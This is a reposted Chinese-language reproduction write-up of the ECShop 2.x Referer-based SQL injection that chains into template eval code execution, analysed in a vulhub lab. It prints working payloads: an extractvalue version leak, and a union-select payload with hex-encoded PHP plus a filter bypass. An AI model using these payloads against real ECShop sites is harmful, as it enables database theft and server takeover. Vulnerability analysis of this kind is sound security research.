搜索

[2051] 2021-01-24_ECShop2.xSQL注入任意代码执行漏洞分析复现

文档创建者：s7ckTeam
浏览次数：46
最后更新：2025-01-16
2021-01-24_ECShop2.xSQL注入任意代码执行漏洞分析复现 E C S h o p   2 . x   S Q L 注 入 / 任 意 代 码 执 行 漏 洞 分 析 复 现 原 创   d o n 9   d o n 9 s e c   2 0 2 1 - 0 1 - 2 4 收 录 于 话 题   # 漏 洞 复 现   , 1 9 个 0 1 — 漏 洞 简 介 e c s h o p 2 . x   代 码 执 行 0 2 — 漏 洞 环 境 直 接 在 v u l h u b 开 始 ： e c s h o p 2 . x 环 境 0 3 — 漏 洞 分 析 0 x 0 1 - S Q L 注 入 由 于 没 有 找 到 源 码 ， 只 好 在 d o c k e r 环 境 里 作 代 码 分 析 了 ： 根 据 p a y l o a d 可 以 发 现 ， R e f e r e r 就 是 万 恶 的 根 源 。 先 定 位 H T T P _ R E F E R E R 的 位 置 ： 然 后 利 用 s e d ， 查 看 附 近 的 代 码 问 题 发 生 在 u s e r . p h p 的 d i s p l a y 函 数 ， 模 版 变 量 可 控 ， 导 致 注 入 ， 配 合 注 入 可 达 到 远 程 代 码 执 行 c d   v u l h u b / e c s h o p / x i a n z h i - 2 0 1 7 - 0 2 - 8 2 2 3 9 6 0 0 / d o c k e r - c o m p o s e   u p   - d h t t p : / / 1 . 1 . 1 . 1 : 8 0 8 0 / #   匹 配 字 符 串 并 输 出 所 在 行 g r e p   - n   " H T T P _ R E F E R E R "   u s e r . p h p #   查 看 第 3 0 0 行   -   3 3 0 行 的 内 容 s e d   - n   " 3 0 0 , 3 3 0 p "   u s e r . p h p
关 键 代 码 ： 可 以 看 见 ， 首 先 把 H T T P _ R E F E R E R 传 给 了 b a c k _ a c t , 然 后 接 着 将 b a c k _ a c c k 变 量 传 a s s i g n 函 数 ， 跟 进 一 下 ： / *   用 户 登 录 界 面   * / e l s e i f   ( $ a c t i o n   = =   ' l o g i n ' ) {         i f   ( e m p t y ( $ b a c k _ a c t ) )         {                 i f   ( e m p t y ( $ b a c k _ a c t )   & &   i s s e t ( $ G L O B A L S [ ' _ S E R V E R ' ] [ ' H T T P _ R E F E R E R ' ] ) )                 {                         $ b a c k _ a c t   =   s t r p o s ( $ G L O B A L S [ ' _ S E R V E R ' ] [ ' H T T P _ R E F E R E R ' ] ,   ' u s e r . p h p ' )   ?   ' . / i n d e x . p h p '   :   $ G L O B A L S [ ' _ S E R V E R ' ] [ ' H T T P _ R E F E R E R ' ] ;                 }                 e l s e                 {                         $ b a c k _ a c t   =   ' u s e r . p h p ' ;                 }         }         $ c a p t c h a   =   i n t v a l ( $ _ C F G [ ' c a p t c h a ' ] ) ;         i f   ( ( $ c a p t c h a   &   C A P T C H A _ L O G I N )   & &   ( ! ( $ c a p t c h a   &   C A P T C H A _ L O G I N _ F A I L )   | |   ( ( $ c a p t c h a   &   C A P T C H A _ L O G I N _ F A I L )   & &   $ _ S E S S I O N [ ' l o g i n _ f a i l ' ]   >   2 ) )   & &   g d _ v e r s i o n ( )   >   0 )         {                 $ G L O B A L S [ ' s m a r t y ' ] - > a s s i g n ( ' e n a b l e d _ c a p t c h a ' ,   1 ) ;                 $ G L O B A L S [ ' s m a r t y ' ] - > a s s i g n ( ' r a n d ' ,   m t _ r a n d ( ) ) ;         }         $ s m a r t y - > a s s i g n ( ' b a c k _ a c t ' ,   $ b a c k _ a c t ) ;         $ s m a r t y - > d i s p l a y ( ' u s e r _ p a s s p o r t . d w t ' ) ; } g r e p   - r n   " f u n c t i o n   a s s i g n ( " s e d   - n   " 6 0 , 9 0 p "   i n c l u d e s / c l s _ t e m p l a t e . p h p
根 据 注 释 可 以 了 解 a s s i g n 函 数 的 功 能 是 注 册 模 板 变 量 ， 也 就 是 $ b a c k _ a c t 变 成 了 $ t h i s - > _ v a r [ $ b a c k _ a c t ] = $ b a c k _ a c t 。 继 续 跟 进 i n c l u d e s / c l s _ t e m p l a t e . p h p : 后 面 调 用 了 d i s p l a y 函 数 ， 而 在 u s e r . p h p 有 如 下 代 码 ： 传 递 给 d i s p l a y 函 数 的 $ f i l e n a m e 是 u s e r _ p a s s p o r t . d w t ， 在 d i s p l a y 函 数 中 ， 首 先 会 调 用 $ t h i s - > f e t c h 来 处 理 u s e r _ p a s s p o r t . d w t 模 板 文 件 ， f e t c h 函 数 中 会 调 用 $ t h i s - > m a k e _ c o m p i l e d 来 编 译 模 板 。 d o c k e r 分 析 起 来 实 在 不 太 方 便 ， 只 好 试 着 把 d o c k e r 中 的 文 件 压 缩 下 载 本 地 继 续 分 析 了 ： s e d   - n   " 9 0 , 1 4 0 p "   i n c l u d e s / c l s _ t e m p l a t e . p h p $ s m a r t y - > d i s p l a y ( ' u s e r _ p a s s p o r t . d w t ' ) ; #   将 源 码 压 缩 打 包 t a r   - c z v f   e c s h o p 2 . x . t a r . g z   h t m l #   将 压 缩 包 移 动 到 w e b 目 录 下 m v   e c s h o p 2 . x . t a r . g z   h t m l /
用 p h p s t o r m 打 开 ： 读 取 u s e r _ p a s s p o r t . d w t 模 版 文 件 内 容 ， 显 示 解 析 变 量 后 的 h t m l 内 容 ， 用 _ e c h a s h 做 分 割 ， 得 到 $ k 然 后 交 给 i s n e r t _ m o d 处 理 ， 由 于 _ e c h a s h 是 默 认 的 不 是 随 机 生 成 的 ： 所 以 $ v a l 内 容 可 随 意 控 制 。 继 续 跟 进 i s n e r t _ m o d 函 数 ： $ v a l 传 递 进 来 ， 先 用 | 分 割 ， 得 到 $ f u n $ p a r a $ p a r a 进 行 反 序 列 操 作 ， $ f u n 和 i n s e r t _ 拼 接 ， 最 后 动 态 调 用 $ f u n ( $ p a r a ) 。 可 以 发 现 ， 函 数 名 为 i n s e r t _ 开 头 即 可 ， 而 参 数 是 完 全 可 控 。 接 下 来 就 是 寻 找 以 i n s e r t _ 开 头 的 可 利 用 的 函 数 ： 最 后 在 i n c l u d e s / l i b _ i n s e r t . p h p 中 找 到 了 i n s e r t _ a d s 函 数 ： #   定 位 字 符 串 C t r l + S h i f t + F
由 于 $ a r r 是 可 控 的 ， 而 且 会 拼 接 到 S Q L 语 句 中 ， 所 以 注 入 点 便 有 了 。 现 在 便 根 据 上 面 这 个 流 程 构 造 查 询 数 据 库 版 本 的 p a y l o a d : 0 x 0 2 - 代 码 执 行 继 续 跟 i n s e r t _ a d s 函 数 ： S Q L 查 询 结 束 之 后 会 调 用 模 板 类 的 f e t c h 方 法 在 这 里 回 溯 一 下 $ p o s i t i o n _ s t y l e ， 发 现 它 是 被 $ r o w [ ' p o s i t i o n _ s t y l e ' ] 赋 值 ， 而 $ r o w [ ' p o s i t i o n _ s t y l e ' ] 是 S Q L 语 句 查 询 的 结 果 由 于 上 面 分 析 的 S Q L 注 入 ， s q l 语 句 查 询 的 结 果 是 可 控 的 ， 也 就 意 味 着 $ p o s i t i o n _ s t y l e 可 控 。 虽 然 这 里 有 一 个 判 断 ： 但 并 无 大 碍 ， 因 为 它 也 因 为 上 面 的 s q l 注 入 变 成 变 得 可 控 了 。 继 续 往 后 走 ， $ p o s i t i o n _ s t y l e 会 拼 接 ' s t r : ' R e f e r e r :   5 5 4 f c a e 4 9 3 e 5 6 4 e e 0 d c 7 5 b d f 2 e b f 9 4 c a a d s | a : 2 : { s : 3 : " n u m " ; s : 7 2 : " 0 , 1   p r o c e d u r e   a n a l y s e ( e x t r a c t v a l u e ( r a n d ( ) , c o n c a t ( 0 x 7 e , v e r s i o n ( ) ) ) , 1 ) - -   - " ; s : 2 : " i d " ; i : 1 ; } u s e r . p h p   - >   d i s p l a y ( )   - >   f e t c h ( )   - >   u s e r _ p a s s p o r t . d w t l i b _ i n s e r t . p h p   - >   i n s e r t _ a d s ( )   - >   f e t c h ( )   - >   $ p o s i t i o n _ s t y l e $ r o w [ ' p o s i t i o n _ i d ' ] 要 等 于 $ a r r [ ' i d ' ]
接 着 便 传 入 f e t c h 函 数 ， 跟 进 f e t c h 函 数 ： 其 实 这 里 便 可 以 看 见 代 码 执 行 的 影 子 了 ： 当 满 足 条 件 ： 到 进 入 e v a l 前 还 需 要 经 过 函 数 f e t c h _ s t r 处 理 ， 跟 进 f e t c h _ s t r ： 这 里 主 要 是 通 过 正 则 对 字 符 串 进 行 处 理 ： 继 续 跟 进 s e l e c t 函 数 ： 如 果 传 入 的 变 量 满 足 条 件 ： e v a l ( ) s t r n c m p ( $ f i l e n a m e , ' s t r : ' ,   4 )   = =   0 #   因 为 之 前 已 拼 接 ' s t r : ' ， 这 里 自 然 为 真 #   第 1 个 正 则 ， 很 明 显 ， 黑 名 单 嘛 ， 过 滤 关 键 字 #   第 2 个 正 则 ， 将 捕 获 到 的 值 交 于 $ t h i s - s e l e c t ( ) 函 数 处 理 r e t u r n   p r e g _ r e p l a c e ( " / { ( [ ^ } { n ] * ) } / e " ,   " $ t h i s - > s e l e c t ( ' 1 ' ) ; " ,   $ s o u r c e ) #   第 一 个 字 符 是 $ $ t a g { 0 }   = =   ' $ '
便 返 回 最 终 返 回 到 _ e v a l ( ) 函 数 执 行 。 在 返 回 之 前 ， 调 用 了 $ t h i s - > g e t _ v a r 函 数 ， 继 续 跟 进 ： 当 传 入 的 变 量 不 满 足 条 件 ： 调 用 $ t h i s - > m a k e _ v a r ， 继 续 跟 进 在 这 里 $ v a l 经 过 了 如 下 处 理 ,   然 后 返 回 给 g e t _ v a r ( ) : 现 在 来 回 溯 一 下 p a y l o a d 的 处 理 流 程 ： 即 若 想 通 过 _ e v a l ( ) 执 行 代 码 的 话 ， 就 得 构 造 p a y l o a d 通 过 以 下 函 数 ( 从 下 到 上 ) ： m a k e _ v a r ( ) g e t _ v a r ( ) s e l e c t ( ) $ t a g { 0 }   = =   ' $ ' r e t u r n   ' < ? p h p   e c h o   '   .   $ t h i s - > g e t _ v a l ( s u b s t r ( $ t a g ,   1 ) )   .   ' ;   ? > ' ; s t r p o s ( $ v a l ,   ' . $ ' )   ! = =   f a l s e ' $ t h i s - > _ v a r [ ' '   .   $ v a l   .   ' ' ] ' m a k e _ v a r ( )   - >   g e t _ v a r ( )   - >   s e l e c t ( )   - >   f e t c h _ s t r ( )   - >   e v a l ( ) #   < ? p h p   e c h o   $ t h i s - > _ v a r [ '   $ v a l   ' ] ; ? > ,   这 里 需 要 [ ' 闭 合 $ v a l   = =   a b c ' ] ; e c h o   p h p i n f o ( ) ; / / #   第 一 个 字 符 是 $ $ v a l   = =   $ a b c ' ] ; e c h o   p h p i n f o ( ) ; / / #   进 入 s e l e c t ( ) ， 需 要 被 正 则 捕 获 ， 即 $ v a l   = =   { $ a b c ' ] ; e c h o   p h p i n f o ( ) ; / / #   这 里 会 因 为 p h p i n f o ( )   被 f e t c h _ s t r ( ) 第 一 个 正 则 匹 配 到 #   需 要 小 小 的 b y p a s s 一 下
f e t c h _ s t r ( ) 接 下 来 就 是 把 构 造 好 的 p a y l o a d 通 过 s q l 注 入 传 给 $ p o s i t i o n _ s t y l e 。 这 里 可 以 用 u n i o n   s e l e c t   来 控 制 查 询 的 结 果 : 先 构 造 条 件 ： $ r o w [ ' p o s i t i o n _ i d ' ] 是 第 1 列 的 结 果 ， $ p o s i t i o n _ s t y l e 是 第 2 列 的 结 果 : 根 据 ： 构 造 出 来 的 p a y l o a d 如 下 ： 最 后 结 合 S Q L 注 入 漏 洞 ， 可 得 最 终 的 p a y l o a d ： 0 4 — 漏 洞 复 现 0 x 0 1 - S Q L 注 入 p a y l o a d : 如 图 ： 成 功 查 询 了 数 据 版 本 ： 0 x 0 2 - 代 码 执 行 #   需 要 小 小 的 b y p a s s 一 下 $ v a l   = =   { $ a b c ' ] ; e c h o   p h p i n f o / * * / ( ) ; / / } $ v a l   = =   { $ a b c ' ] ; e c h o   p h p i n f o / * * / ( ) ; / / } #   p a y l o a d 构 造 完 毕 $ s q l     =   ' S E L E C T   a . a d _ i d ,   a . p o s i t i o n _ i d ,   a . m e d i a _ t y p e ,   a . a d _ l i n k ,   a . a d _ c o d e ,   a . a d _ n a m e ,   p . a d _ w i d t h ,   '   . ' p . a d _ h e i g h t ,   p . p o s i t i o n _ s t y l e ,   R A N D ( )   A S   r n d   '   . ' F R O M   '   .   $ G L O B A L S [ ' e c s ' ] - > t a b l e ( ' a d ' )   .   '   A S   a   ' . ' L E F T   J O I N   '   .   $ G L O B A L S [ ' e c s ' ] - > t a b l e ( ' a d _ p o s i t i o n ' )   .   '   A S   p   O N   a . p o s i t i o n _ i d   =   p . p o s i t i o n _ i d   '   . " W H E R E   e n a b l e d   =   1   A N D   s t a r t _ t i m e   < =   ' "   .   $ t i m e   .   " '   A N D   e n d _ t i m e   > =   ' "   .   $ t i m e   .   " '   " . " A N D   a . p o s i t i o n _ i d   =   ' "   .   $ a r r [ ' i d ' ]   .   " '   "   . ' O R D E R   B Y   r n d   L I M I T   '   .   $ a r r [ ' n u m ' ] ; $ r o w [ ' p o s i t i o n _ i d ' ]   = =   $ a r r [ ' i d ' $ $ r o w [ ' p o s i t i o n _ i d ' ]   = =   a r r [ ' i d ' ]   - >   ' / * #   ' / * 的 1 6 进 制 值 为 0 x 2 7 2 0 2 f 2 a $ v a l   = =   { $ a b c ' ] ; e c h o   p h p i n f o / * * / ( ) ; / / } $ p o s i t i o n _ s t y l e   = =   $ v a l   = =   { $ a b c ' ] ; e c h o   p h p i n f o / * * / ( ) ; / / } #   { $ a b c ' ] ; e c h o   p h p i n f o / * * / ( ) ; / / }   的 1 6 进 制 为 0 x 7 b 2 4 6 1 6 2 6 3 2 7 5 d 3 b 6 5 6 3 6 8 6 f 2 0 7 0 6 8 7 0 6 9 6 e 6 6 6 f 2 f 2 a 2 a 2 f 2 8 2 9 3 b 2 f 2 f 7 d #   $ a r r [ ' n u m ' ]   为 * /   u n i o n   s e l e c t   1 , 0 x 2 7 2 0 2 f 2 a , 3 , 4 , 5 , 6 , 7 , 8 , 0 x 7 b 2 4 6 1 6 2 6 3 2 7 5 d 3 b 6 5 6 3 6 8 6 f 2 0 7 0 6 8 7 0 6 9 6 e 6 6 6 f 2 f 2 a 2 a 2 f 2 8 2 9 3 b 2 f 2 f 7 d , 1 0 - - R e f e r e r :   5 5 4 f c a e 4 9 3 e 5 6 4 e e 0 d c 7 5 b d f 2 e b f 9 4 c a a d s | a : 2 : { s : 3 : " n u m " ; s : 1 1 0 : " * /   u n i o n   s e l e c t   1 , 0 x 2 7 2 0 2 f 2 a , 3 , 4 , 5 , 6 , 7 , 8 , 0 x 7 b 2 4 6 1 6 2 6 3 2 7 5 d 3 b 6 5 6 3 6 8 6 f 2 0 7 0 6 8 7 0 6 9 6 e 6 6 6 f 2 f 2 a 2 a 2 f 2 8 2 9 3 b 2 f 2 f 7 d , 1 0 - -   - " ; s : 2 : " i d " ; s : 4 : " '   / * " ; } 5 5 4 f c a e 4 9 3 e 5 6 4 e e 0 d c 7 5 b d f 2 e b f 9 4 c R e f e r e r :   5 5 4 f c a e 4 9 3 e 5 6 4 e e 0 d c 7 5 b d f 2 e b f 9 4 c a a d s | a : 2 : { s : 3 : " n u m " ; s : 7 2 : " 0 , 1   p r o c e d u r e   a n a l y s e ( e x t r a c t v a l u e ( r a n d ( ) , c o n c a t ( 0 x 7 e , v e r s i o n ( ) ) ) , 1 ) - -   - " ; s : 2 : " i d " ; i : 1 ; }
p a y l o a d ： 如 图 ： 成 功 执 行 了 p h p i n f o ( ) 。 0 5 — 小 结 经 典 的 “ 二 次 漏 洞 ” ， 从 一 个 S Q L 注 入 漏 洞 最 后 转 变 为 代 码 执 行 漏 洞 。 3 . x 的 版 本 也 有 洞 ， 等 下 次 在 复 现 分 析 吧 。 参 考 ： R e f e r e r :   5 5 4 f c a e 4 9 3 e 5 6 4 e e 0 d c 7 5 b d f 2 e b f 9 4 c a a d s | a : 2 : { s : 3 : " n u m " ; s : 1 1 0 : " * /   u n i o n   s e l e c t   1 , 0 x 2 7 2 0 2 f 2 a , 3 , 4 , 5 , 6 , 7 , 8 , 0 x 7 b 2 4 6 1 6 2 6 3 2 7 5 d 3 b 6 5 6 3 6 8 6 f 2 0 7 0 6 8 7 0 6 9 6 e 6 6 6 f 2 f 2 a 2 a 2 f 2 8 2 9 3 b 2 f 2 f 7 d , 1 0 - -   - " ; s : 2 : " i d " ; s : 4 : " '   / * " ; } 5 5 4 f c a e 4 9 3 e 5 6 4 e e 0 d c 7 5 b d f 2 e b f 9 4 c h t t p s : / / p a p e r . s e e b u g . o r g / 6 9 1 / h t t p s : / / g i t h u b . c o m / v u l h u b / v u l h u b / b l o b / m a s t e r / e c s h o p / x i a n z h i - 2 0 1 7 - 0 2 - 8 2 2 3 9 6 0 0 / R E A D M E . z h - c n . m d h t t p s : / / b a d c o d e . c c / 2 0 1 8 / 0 9 / 0 4 / E C S h o p - 0 d a y % E 7 % 9 A % 8 4 % E 5 % A 0 % 9 5 % E 8 % 9 0 % B D % E 4 % B 9 % 8 B % E 8 % B 7 % A F /
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理